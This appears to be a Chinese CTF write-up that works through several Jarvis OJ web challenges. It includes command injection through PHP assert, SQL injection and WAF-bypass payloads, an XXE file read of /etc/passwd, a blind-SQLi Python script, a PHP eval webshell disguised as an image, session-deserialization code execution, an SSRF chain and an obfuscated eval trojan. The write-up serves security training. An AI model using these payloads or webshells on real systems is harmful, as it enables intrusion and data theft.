[toc] 听说这个平台的题目质量比较高,所以就写了这篇wp。
babyphp 根据提示PHP GIT Bootstrap
想到git泄露,然后把源码down下来审计。 发现flag.php在templates目录中。 关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if (isset ($_GET ['page' ])) { $page = $_GET ['page' ]; } else { $page = "home" ; } $file = "templates/" . $page . ".php" ;assert("strpos('$file ', '..') === false" ) or die ("Detected hacking attempt!" ); assert("file_exists('$file ')" ) or die ("That file doesn't exist!" ); ?> <?php require_once $file ; ?>
直接page=/templates/flag.php显示文件不存在,因为flag被注释掉了。 看到assert,应该可以命令注入
1 2 $file = "templates/" . $page . ".php" ;assert("strpos('$file ', '..') === false" )
可以构造
1 assert("strpos('templates/'.system(" cat templates/flag.php").'.php', '..') === false" )
查看页面源代码
1 61dctf {8 e_careful_when_us1 ng_ass4 rt}
inject Hint1:先找到源码再说吧 根据提示找源码,发现不是git泄露,扫一波目录发现index.php~ index.php源码
1 2 3 4 5 6 7 8 9 <?php require ("config.php" );$table = $_GET ['table' ]?$_GET ['table' ]:"test" ;$table = Filter($table );mysqli_query($mysqli ,"desc `secret_{$table} `" ) or Hacker(); $sql = "select 'flag{xxx}' from secret_{$table} " ;$ret = sql_query($sql );echo $ret [0 ];?>
我们发现了反引号,需要让这段代码中的SQL语句能运行成功才能进入下一条查询语句中。
1 mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
反引号是为了区分MySQL的保留字与普通字符而引入的符号。不加反引号建的表不能包含MYSQL保留字符,否则出错。 * 在标准 SQL 中,字符串使用的是单引号。 * 如果字符串本身也包括单引号,则使用两个单引号(注意,不是双引号,字符串中的双引号不需要另外转义)。 * MySQL对 SQL 的扩展,允许使用单引号和双引号两种。 我们发现在使用反引号时,只要前表table1存在,即使table2不存在,该语句也是能执行的
单引号却不可以执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 mysql> desc `users`; +----------+-------------+------+-----+---------+----------------+ Field Type Null Key Default Extra +----------+-------------+------+-----+---------+----------------+ id int(3) NO PRI NULL auto_increment username varchar(20) NO NULL password varchar(20) NO NULL +----------+-------------+------+-----+---------+----------------+ 3 rows in set (0.00 sec) mysql> desc `ss`; ERROR 1146 (42S02): Table 'security.ss' doesn't exist mysql> desc `users` `ss`; Empty set (0.00 sec) mysql> desc 'users' 'ss'; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''users' 'ss'' at line 1
且后面的表名是前面表名的别名
1 2 3 4 5 6 7 mysql> select * from `users` `aaa` where aaa.id=1; +----+----------+----------+ id username password +----+----------+----------+ 1 dd Dumb +----+----------+----------+ 1 row in set (0.09 sec)
所以我们可以构造
1 desc `flag` `union select 1 limit 1,1`
相当于
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 mysql> select 'flag{xxx}' from users `` union select 3 ; +-----------+ flag{xxx} +-----------+ flag{xxx} 3 +-----------+ 2 rows in set (0.00 sec) mysql> select 'flag{xxx}' from users `` union select 3 limit 1,1; +-----------+ flag{xxx} +-----------+ 3 +-----------+ 1 row in set (0.00 sec)
后面的注入过程不用再写了,
1 ?table=flag` `union select flagUwillNeverKnow from secret_flag limit 1 ,1
flag
admin 网页什么也没有,抓包也没发现什么。扫波目录发现robots.txt,刚才忘了看/robots.txt
1 Disallow : /admin_s3 cr3 t.php
访问显示flag{hello guest} ,明显是假的flag。 抓包发现admin=0,改成1得到flag。
LOGIN 给了一个密码框,抓包在响应包里看到提示
1 select * from `admin` where password='".md5($pass,true)."'
md5($pass,true)
,md5第二个参数为输出格式,默认为false, * TRUE - 原始 16 字符二进制格式 * FALSE - 默认。32 字符十六进制数 这里第二个参数为True,MD5之后是hex格式,转化到字符串时如果出现'or'xxxx
的形式,就会导致注入
1 select * from `admin` where password='' or'xxxx' ;
例如字符串ffifdyop
flag
1 PCTF {R4 w_md5 _is_d4 ng3 rous}
神盾局的秘密 查看源码发现任意文件读取,读取index.php发现源码
1 2 3 4 5 6 7 8 9 <?php require_once ('shield.php' ); $x = new Shield(); isset ($_GET ['class' ]) && $g = $_GET ['class' ]; if (!empty ($g )) { $x = unserialize($g ); } echo $x ->readfile(); ?>
再读一下shield.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class Shield { public $file ; function __construct ($filename = '' ) { $this -> file = $filename ; } function readfile ( ) { if (!empty ($this ->file) && stripos($this ->file,'..' )===FALSE && stripos($this ->file,'/' )===FALSE && stripos($this ->file,'\\' )==FALSE ) { return @file_get_contents($this ->file); } } } ?>
提示flag在pctf.php
,明显的利用反序列化读取文件。 构造反序列化payload
1 2 3 4 5 6 7 8 9 10 <?php class Shield { public $file ; function __construct ($filename = '' ) { $this -> file = "pctf.php" ; } } $a =new Shield();echo serialize($a )?>
?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
flag
1 PCTF {W3 lcome_To_Shi3 ld_secret_Ar3 a}
PORT51 使用端口51访问,可能是在内网的原因本地不行,需要在vps上执行。
1 curl --local-port 51 http://web.jarvisoj.com:32770 /
flag
IN A Mess index.phps
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting(0 ); echo "<!--index.phps-->" ;if (!$_GET ['id' ]){ header('Location: index.php?id=1' ); exit (); } $id =$_GET ['id' ];$a =$_GET ['a' ];$b =$_GET ['b' ];if (stripos($a ,'.' )){ echo 'Hahahahahaha' ; return ; } $data = @file_get_contents($a ,'r' );if ($data =="1112 is a nice lab!" and $id ==0 and strlen($b )>5 and eregi("111" .substr($b ,0 ,1 ),"1114" ) and substr($b ,0 ,1 )!=4 ){ require ("flag.txt" ); } else { print "work harder!harder!harder!" ; } ?>
没注意开始对id值的判断,id不能为0,卡了好久。下面的绕过就很简单了,烂大街的东西。 eregi这里可以利用通配符.
,也可以利用00截断绕过。 给了个地址/^HT2mCpcvOLf
id=1'
报错出sql语句SELECT * FROM content WHERE id=1'
,waf过滤了union,fuzz发现#,union,select,from
都被替换成了空格,但是可以双写绕过。 waf掉了空格,order by,group by,union select
空格可以用/*1*/
绕过,union select
也可以用注释绕过。
1 index .php?id=2 /*1 */uniunionon/*1 */selselectect/*2 */1 ,2 ,3
表名content
1 index.php?id=2 /*1*/u niunionon/*1*/ selselectect/*2*/ 1 ,2 ,table_name/*1*/ frfromom/*1*/i nformation_schema.tables/*1*/ where/*1*/ table_schema=database()
字段名
1 index .php?id=2 /*1 */uniunionon/*1 */selselectect/*2 */1 ,2 ,group_concat(column_name)/*1 */frfromom/*1 */information_schema.columns/*1 */where/*1 */table_name=0 x636 f6 e74656 e74
flag
1 PCTF {Fin4 lly_U_got_i7 _C0 ngRatulation5 }
api调用 请设法获得目标机器/home/ctf/flag.txt中的flag值。 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <script> function XHR() { var xhr; try {xhr = new XMLHttpRequest();} catch(e) { var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"]; for (var i=0,len=IEXHRVers.length;i< len;i++) { try {xhr = new ActiveXObject(IEXHRVers[i]);} catch(e) {continue;} } } return xhr; } function send(){ evil_input = document.getElementById("evil-input").value; var xhr = XHR(); xhr.open("post","/api/v1.0/try",true); xhr.onreadystatechange = function () { if (xhr.readyState==4 && xhr.status==201) { data = JSON.parse(xhr.responseText); tip_area = document.getElementById("tip-area"); tip_area.value = data.task.search+data.task.value; } }; xhr.setRequestHeader("Content-Type","application/json"); xhr.send('{"search":"'+evil_input+'","value":"own"}'); } </script>
这里利用ajax发送json数据,Content-Type:application/json
。 更改Content-Type: application/xml
。发送xml格式数据,引用外部实体读取文件。 payload
1 2 3 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [<!ENTITY file SYSTEM "file:///etc/passwd" > ]> <note > &file; </note >
flag
1 CTF {XxE_15 _n0 T_S7 range_Enough}
Simple Injection 布尔盲注,什么都没过滤。 注库名的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsimport stringstr1 = '1234567890' +string.ascii_letters+string.punctuation flag = '' select = 'select/**/database()' url="http://web.jarvisoj.com:32787/login.php" for j in range (1 ,66 ): for i in str1: paylaod="admin'/**/and/**/(if(substr(({}),{},1)='{}',1,0))/**/and/**/'1" .format (select, j, i) data={ 'username' : paylaod, 'password' : 'admin' } r=requests.post(url,data=data) if '密码错误' in r.text: flag+=i print (flag) break
Easy Gallery URL明显存在文件包含,结合提示应该是文件包含加文件上传getshell。 尝试
1 2 http://web.jarvisoj.com:32785/index.php?page=view http://web.jarvisoj.com:32785/index.php?page=view.php%00
显示正常,说明存在00截断。接下来只要包含自己的图片马就可以了。 上传图片马,查询id,进行包含 被waf掉了。 网上找的payload
1 <script language="php" >eval ($_POST ['Smi1e' ]);</script>
再次上传进行包含 flag
1 CTF {upl0 ad_sh0 uld_n07 _b3 _a110 wed}
flag在管理员手里 扫到index.php~打开发现乱码,根据头部信息发现是vim备份文件。 扔进linux里,后缀改为.swp,vim -r index.php.swp
即可恢复。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <!DOCTYPE html> <html> <head> <title>Web 350 </title> <style type="text/css" > body { background:gray; text-align:center; } </style> </head> <body> <?php $auth = false ; $role = "guest" ; $salt = if (isset ($_COOKIE ["role" ])) { $role = unserialize($_COOKIE ["role" ]); $hsh = $_COOKIE ["hsh" ]; if ($role ==="admin" && $hsh === md5($salt .strrev($_COOKIE ["role" ]))) { $auth = true ; } else { $auth = false ; } } else { $s = serialize($role ); setcookie('role' ,$s ); $hsh = md5($salt .strrev($s )); setcookie('hsh' ,$hsh ); } if ($auth ) { echo "<h3>Welcome Admin. Your flag is } else { echo " <h3>Only Admin can see the flag!!</h3>"; } ?> </body> </html>
salt未知,校验内容和hash值可控,明显的哈希长度扩展攻击。 我伟爷爷讲的真详细 md5($salt+$校验内容)=$md5
,校验内容和md5已知,我们可以通过哈希长度扩展攻击对校验内容后面增加一些新的内容,然后能够计算出新的md5值。 原理:https://www.smi1e.top/?p=1我这篇文章讲的很详细 注意role在md5加密的时候被反转了一下。 输入的分别为:原hash值,校验内容,salt+校验内容总长度,想要添加的内容。 反转一下再用sublime把\x
全部替换为%
,我在这掉坑里了。
1 ;"tseug" :5 :s% 80 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % 00 % c0 % 00 % 00 % 00 % 00 % 00 % 00 % 00 ;"nimda" :5 :s
然后编码一下和新hash值一起提交就可以了。 flag
1 PCTF {H45 h_ext3 ndeR_i5 _easy_to_us3 }
PHPINFO 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php ini_set('session.serialize_handler' , 'php' ); session_start(); class OowoO { public $mdzz ; function __construct ( ) { $this ->mdzz = 'phpinfo();' ; } function __destruct ( ) { eval ($this ->mdzz); } } if (isset ($_GET ['phpinfo' ])){ $m = new OowoO(); } else { highlight_string(file_get_contents('index.php' )); } ?>
session.serialize_handler=""
定义session的默认序列化引擎,默认是php(5.5.4后改为php_serialize)这里为php5.6,所以默认为php_serialize。
1 2 3 4 5 php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize ()函数序列化处理的值 php:存储方式是,键名+竖线+经过serialize ()函数序列处理的值 php_serialize (php>5.5 .4 ):存储方式是,经过serialize ()函数序列化处理的值
PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 序列化时处理器为php_serialize,反序列化时为php,因此可以用注入伪造任意数据。 SESSION上传进度:http://php.net/manual/zh/session.upload-progress.php 官方文档内容
当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态 当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION
中获得。 当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。 通常这些键值可以通过读取INI设置来获得
前两天的HITCON2018正好用到了这个姿势,我也写了wp:https://www.smi1e.top/wp-admin/ 在使用session_start()
时会自动加载session文件中的值,因为在这里在__destruct方法
中使用eval,所以只要在session文件中写入这个类的php序列化引擎对应的反序列化值,就能够执行代码。 查看phpinfo配置 session.upload_progress.enabled
是开启的。session.upload_progress.name为默认的PHP_SESSION_UPLOAD_PROGRESS
,所以我们可以post一个与其同名的变量,来使得我们上传的文件名或者变量PHP_SESSION_UPLOAD_PROGRESS
的值写入session。 上传页面
1 2 3 4 5 <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>
这里的各种调用系统命令的函数都被禁用了,只能用php自带函数来读取目录和文件内容。 构造序列化引擎为php的序列化字符串
1 2 3 4 5 6 7 8 9 10 11 <?php class OowoO { public $mdzz ='print_r(scandir(dirname(__FILE__)));' ; } $obj = new OowoO();$a = serialize($obj );var_dump($a ); O:5 :"OowoO" :1 :{s:4 :"mdzz" ;s:36 :"print_r(scandir(dirname(__FILE__)));" ;}
转换
1 O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
flag文件名:Here_1s_7he_fl4g_buT_You_Cannot_see.php
1 O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}
当然还可以把序列化的值写在PHP_SESSION_UPLOAD_PROGRESS的值里 flag
1 CTF {4 d96 e37 f4 be998 c50 aa586 de4 ada354 a}
WEB? 脑洞题。线代渣的我感到绝望。
1 2 3 4 5 6 7 8 9 10 11 function(e) { if (25 !== e.length) return ! 1; for (var t = , n = 0; n < 25; n++) t.push(e.charCodeAt(n)); for (var r = , o = , n = 0; n < 25; n++) { for (var i = 0, a = 0; a < 25; a++) i += t * o; if (i !== r) return ! 1 } return ! 0
矩阵乘法 别人的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from numpy import *import gmpy2 r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259] o = [ [11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], .. .] a_o =array(o)a_r =array(r)t = linalg.solve(o,r) print tfor i in t: print str(int(round(i))),
图片上传漏洞 CVE-2016-3714 - ImageMagick 命令执行分析 影响版本ImageMagick 6.9.3-9以前的所有版本
Chopper
ip也伪造不了 发现图片是通过proxy.php代理来访问图片的
1 <img src ="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt ="" >
我们可以用这个去访问admin ip 然后让admin IP 访问/admin/目录 http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/
访问不了,不知道是不是被搅屎了。 在admin目录下扫到robots.txt
1 2 3 User-agent: * Disallow:trojan.php Disallow:trojan.php.txt
trojan.php.txt
1 2 3 4 5 6 7 8 <?php ${("#" ^"" ).("#" ^"" )}=("!" ^"`" ).("( " ^"{" ).("(" ^"[" ).("~" ^";" ).("" ^"." ).("*" ^"~" );${("#" ^"" ).("#" ^"" )}(("-" ^"H" ). ("]" ^"+" ). ("[" ^":" ). ("," ^"@" ). ("}" ^"U" ). ("e" ^"A" ). ("(" ^"w" ). ("j" ^":" ). ("i" ^"&" ). ("#" ^"p" ). (">" ^"j" ). ("!" ^"z" ). ("T" ^"g" ). ("e" ^"S" ). ("_" ^"o" ). ("?" ^"b" ). ("]" ^"t" ));?> 上述代码保存为php页面运行一下,得到Warning: Warning: assert() [function.assert]: Assertion "eval($_POST [360])"
密码为360